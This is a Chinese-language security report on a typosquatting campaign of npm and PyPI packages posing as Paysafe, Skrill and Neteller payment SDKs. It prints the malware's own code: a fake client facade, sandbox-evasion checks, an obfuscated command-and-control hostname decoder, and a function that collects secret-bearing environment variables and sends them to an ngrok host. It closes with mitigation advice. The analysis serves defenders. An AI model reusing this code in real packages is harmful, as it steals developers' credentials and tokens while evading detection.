摘要

報告提供了在 npm 與 PyPI 套件儲存庫上觀察到的協同性相似 URL 劫持(typosquatting) campaign 的技術分析,這些攻擊特別針對熱門的安全支付應用程式 SDK,例如 Paysafe、Skrill 與 Neteller。此 campaign 的主要目標是透過精細的規避技術與混淆的命令與控制(C2)通訊來竊取認證與 Token。這份報告詳細說明了惡意套件機制、反分析措施、C2 主機名稱編碼與資料外洩方法。此外,它也將這些發現與類似的供應鏈攻擊進行比較,突顯了開源軟體生態系統中不斷演變的威脅態勢。

你以為安全的支付 SDK,其實早被 URL 劫持滲透了?快檢查你的環境變數! | 資訊安全新聞

1. 簡介

開源軟體(OSS)元件的普及顯著加速了軟體開發,然而,它也引入了供應鏈攻擊的新途徑。相似 URL 劫持是一種攻擊者註冊與合法套件名稱相似的套件名稱的技術,至今仍是於 npm 與 PyPI 等套件儲存庫中散佈惡意軟體的常見方法。報告調查了近期一個利用相似 URL 劫持來危害開發者環境並竊取敏感認證的協同性 campaign。該 campaign 涉及 17 個惡意套件,它們被設計成模仿廣泛使用的支付平台 SDK,藉此誘騙開發者安裝並執行惡意程式碼 [1]

2. 攻擊機制與運作模式

這些惡意套件被設計成看似合法的 SDK,提供一個虛假的門面,同時在背景執行惡意活動。其主要目標是將開發者的 Secret 與環境變數外洩至攻擊者控制的基礎設施 [1]

2.1. 假的 SDK 門面: PaysafeClient 範例

攻擊者精心製作了模仿合法 SDK 功能的套件。例如, paysafe-node 套件提供了一個 PaysafeClient class,看起來像是要與 Paysafe API 互動。然而,這種表象具有欺騙性;該 client 會從環境變數中讀取 API 金鑰,但實際上並不會向合法的 Paysafe 端點發起任何外部呼叫。相反地,它會立即回傳一個成功回應,同時秘密地啟動資料外洩 [1]

以下為惡意 PaysafeClient 實作的片段,展示了它如何擷取 API 金鑰並準備進行外洩:

  1. class PaysafeClient {
  2. constructor(config = {}) {
  3. this.apiKey = config.apiKey || process.env.PAYSAFE_API_KEY || null // Captures API key from config or environment
  4. this.env = config.environment || process.env.PAYSAFE_ENV || 'TEST'
  5. this.base = this.env === 'LIVE'
  6. ? 'https://api.paysafe.com'
  7. : 'https://api.test.paysafe.com'
  8. }
  9. payments = {
  10. create: async (data) => this._request('POST', '/paymenthub/v1/payments', data),
  11. get: async (id) => this._request('GET', '/paymenthub/v1/payments/' + id),
  12. }
  13. customers = {
  14. create: async (data) => this._request('POST', '/paymenthub/v1/customers', data),
  15. get: async (id) => this._request('GET', '/paymenthub/v1/customers/' + id),
  16. }
  17. async _request(method, path, data) {
  18. if (this.apiKey) {
  19. // Secretly exfiltrates API key and request details after a delay
  20. setTimeout(() => exfiltrate({ m: method, p: path, k: this.apiKey.substring(0, 10) }), 11768)
  21. }
  22. return { success: true, method, path } // Returns immediate success to maintain facade
  23. }
  24. }

2.2. 反分析與沙箱規避

為了阻礙分析並躲避沙箱環境的偵測,該惡意軟體納入了多種反分析技術。它會檢查常見的虛擬化環境或分析工具指標,例如 CPU 核心數、主機名稱與使用者名稱模式。如果偵測到這類指標,惡意軟體就會停止其惡意活動,因此在自動化分析系統面前看似無害 [1]

以下 JavaScript function 說明了沙箱偵測的邏輯:

  1. function isSandbox() {
  2. try {
  3. const os = require('os')
  4. const cpus = os.cpus()
  5. if (!cpus || cpus.length < 2) return true // Detects low CPU core count, common in sandboxes
  6. const hostname = os.hostname().toLowerCase()
  7. const username = os.userInfo().username.toLowerCase()
  8. const sandboxIndicators = [
  9. 'sandbox', 'analyzer', 'cuckoo', 'virus', 'malware', 'vmware', 'vbox',
  10. ]
  11. for (const indicator of sandboxIndicators) {
  12. if (hostname.includes(indicator) || username.includes(indicator)) {
  13. return true // Checks for sandbox-related keywords in hostname or username
  14. }
  15. }
  16. return false
  17. } catch (e) {
  18. return false
  19. }
  20. }

2.3. C2 主機名稱編碼

命令與控制(C2)伺服器主機名稱透過多步驟編碼程序進行混淆,以增加偵測與分析的難度。這包含了 XOR 解碼、字元碼移位與字串反轉,使得安全研究人員難以快速識別外洩的目標 [1]

解碼過程詳述於以下程式碼片段:

  1. const XOR_KEY = Buffer.from('SGf6lmbr7GHUg99Z6R2U3g==', 'base64')
  2. function decodeString(base64) {
  3. const buf = Buffer.from(base64, 'base64')
  4. const result = Buffer.alloc(buf.length)
  5. for (let i = 0; i < buf.length; i++) {
  6. result[i] = buf[i] ^ XOR_KEY[i % XOR_KEY.length] // XOR decoding
  7. }
  8. return result.toString()
  9. }
  10. // Step 1: XOR decode
  11. const raw = decodeString('iuCM41mdmqNX9OElK51WXTAYxe4ZkZWjUPmgI54jVl0+GIXspGou5epBXC+aZ+msPA==')
  12. // Step 2: subtract 17 from each char code
  13. const shifted = raw.split('').map(c => String.fromCharCode(c.charCodeAt(0) - 17)).join('') // Character code shifting
  14. // Step 3: reverse
  15. const c2Host = shifted.split('').reverse().join('') // String reversal
  16. // → 'caliber-spinner-finishing.ngrok-free.dev'

2.4. 認證與 Token 外洩

核心的惡意活動涉及從環境變數中外洩發現的認證與 Token。該惡意軟體特別針對包含 KEY SECRET TOKEN PASS AUTH API 等關鍵字的環境變數。這種廣泛的過濾確保了包括雲端供應商認證(例如 AWS_SECRET_ACCESS_KEY )、版本控制 Token(例如 GITHUB_TOKEN )以及套件管理器 Token(例如 NPM_TOKEN )在內的大量敏感資訊都可能被竊取 [1]

負責收集與發送竊取資料的 exfiltrate function 如下所示:

  1. function exfiltrate(extra) {
  2. try {
  3. if (isSandbox()) return // Skips exfiltration if sandbox is detected
  4. const https = require('https')
  5. const os = require('os')
  6. const payload = JSON.stringify({
  7. hostname: os.hostname(),
  8. username: os.userInfo().username,
  9. cwd: process.cwd(),
  10. env: Object.keys(process.env)
  11. .filter(k =>
  12. k.includes('KEY') ||
  13. k.includes('SECRET') ||
  14. k.includes('TOKEN') ||
  15. k.includes('PASS') ||
  16. k.includes('AUTH') ||
  17. k.includes('API')
  18. ) // Filters environment variables for sensitive keywords
  19. .reduce((acc, k) => ({ ...acc, [k]: process.env[k].substring(0, 100) }), {}), // Collects filtered variables, caps values at 100 chars
  20. time: Date.now(),
  21. package: 'paysafe-node',
  22. extra: extra || {},
  23. })
  24. const body = Buffer.from(payload)
  25. const req = https.request({
  26. hostname: 'caliber-spinner-finishing[.]ngrok-free.dev', // C2 server hostname
  27. port: 443,
  28. path: '/',
  29. method: 'POST',
  30. headers: {
  31. 'content-type': 'application/json',
  32. 'content-length': body.length,
  33. },
  34. })
  35. req.write(body)
  36. req.end()
  37. } catch (e) {}
  38. }

2.5. PyPI 套件行為

PyPI 套件展現了與其 npm 對應套件類似的惡意行為。與 npm 套件不同,PyPI 版本的惡意行為並未以 API 金鑰為條件來觸發,而是在其 __init__.py 被放置時就通用性地啟動。它們使用類似的機制進行認證竊取與外洩 [1]

來自惡意 PyPI 套件(例如 paysafe-sdk )的片段展示了初始化與 C2 通訊的設定:

  1. # {paysafe-sdk}
  2. import os,json,base64,time,platform,getpass,ctypes,sys
  3. _k=base64.b64decode('3zWd1Ua8V/wcYtYxZmQZPQ==') // XOR key for decoding
  4. _cb=base64.b64decode('HbTtun/MJ4FtWqBLGxZgBK1M6aY4yC6IbVqrQR8dbUahDeClK8ggkHI=')
  5. _c2=''.join(chr(ord(c)-11) for c in ''.join(chr(_cb[i]^_k[i%len(_k)]) for i in range(len(_cb)))[::-1]) // Decodes C2 hostname
  6. def _h():return any(x in platform.node().lower() for x in ['sandbox','analyzer','cuckoo','virus','vmware','vbox','malware']) // Sandbox detection
  7. def _x(s):
  8. b=base64.b64decode(s);r=bytearray(len(b))
  9. for i in range(len(b)):r[i]=b[i]^_k[i%len(_k)]
  10. return r.decode()
  11. def _e(d=None):
  12. if _h():return // Skips exfiltration if sandbox is detected
  13. try:
  14. import urllib.request as ur
  15. p=json.dumps({...(truncated)

3. 攻擊流程圖

下圖說明了從套件安裝到資料外洩的典型攻擊流程:

sequenceDiagram participant Developer as Dev participant MaliciousPackage as Malicious Package participant C2Server as C2 Server Dev->>MaliciousPackage: Installs typosquatted package activate MaliciousPackage MaliciousPackage->>MaliciousPackage: Executes `isSandbox()` check alt Sandbox Detected MaliciousPackage-->>Dev: Appears benign (no exfiltration) else Sandbox Not Detected MaliciousPackage->>MaliciousPackage: Initializes `PaysafeClient` (captures API key) MaliciousPackage->>MaliciousPackage: Calls `_request()` method MaliciousPackage->>MaliciousPackage: Delays exfiltration (e.g., `setTimeout`) MaliciousPackage->>MaliciousPackage: Executes `exfiltrate()` function MaliciousPackage->>MaliciousPackage: Collects sensitive environment variables MaliciousPackage->>C2Server: Exfiltrates data (hostname, username, env vars, API key) activate C2Server C2Server-->>MaliciousPackage: Acknowledges receipt deactivate C2Server MaliciousPackage-->>Dev: Returns fake success response end deactivate MaliciousPackage

4. 與相關供應鏈攻擊之比較

針對 Paysafe、Skrill 與 Neteller SDK 的相似 URL 劫持 campaign 與在開源生態系統中觀察到的其他供應鏈攻擊有相似之處。例如,近期針對 XRP Ledger 生態系統的攻擊涉及了透過 npm 散佈的 xrpl.js 程式庫遭入侵。該攻擊同樣利用了一個隱藏 function( checkValidityOfSeed() )來竊取加密貨幣錢包的私鑰、種子與助記詞,並將其外洩至攻擊者控制的網域 [2] 。這些攻擊的共同點在於利用對看似合法套件的信任,以及使用混淆與規避技術來繞過偵測。

另一個相關的例子是 Braintree 相似 URL 劫持攻擊,其目標同樣是竊取信用卡號碼、CVV 與商家 API 金鑰。這些事件突顯了一個日益增長的趨勢,即攻擊者利用套件管理器的廣泛採用來散佈惡意軟體,且經常採用精密的方法來保持不被發現 [3]

5. 緩解措施與建議

為了防範這類精密的供應鏈攻擊,採取多層次的安全方法至關重要:

  • 相依性驗證: 開發人員應在整合前仔細驗證套件的真實性與完整性。這包括檢查套件來源、作者聲譽,以及檢視原始碼是否有可疑行為。
  • 自動化安全掃描: 採用可掃描相依性中已知漏洞與惡意程式碼模式的自動化工具。如第三方套件掃描工具,目的在主動阻擋惡意開源套件 [1]
  • 環境變數管理: 限制對敏感環境變數的存取,並確保除非絕對必要,否則不將其暴露給建置環境或開發機器。對 CI/CD pipeline 實施最小權限原則。
  • 網路監控: 監控來自開發與建置環境的對外網路連線,以發現異常流量模式或與可疑網域的通訊。
  • 開發者教育: 教導開發者關於相似 URL 劫持、社交工程風險以及供應鏈安全最佳實務的重要性。
  • 多因子認證(MFA): 對所有套件儲存庫帳戶(npm、PyPI 等)實施 MFA,以防止未經授權的套件發布或修改。

6. 結論

針對熱門支付應用程式 SDK 的協同性相似 URL 劫持 campaign 突顯了開源軟體生態系統中供應鏈攻擊持續且不斷演變的威脅。攻擊者正採用日益複雜的技術,包括假的 SDK 介面、反分析措施、混淆的 C2 通訊以及廣泛的認證外洩。透過了解這些機制並實施強健的安全實務,組織與開發人員可以顯著降低面對此類威脅的風險。持續的警覺性、自動化安全工具以及對相依性驗證的高度關注,對於保護軟體供應鏈至關重要。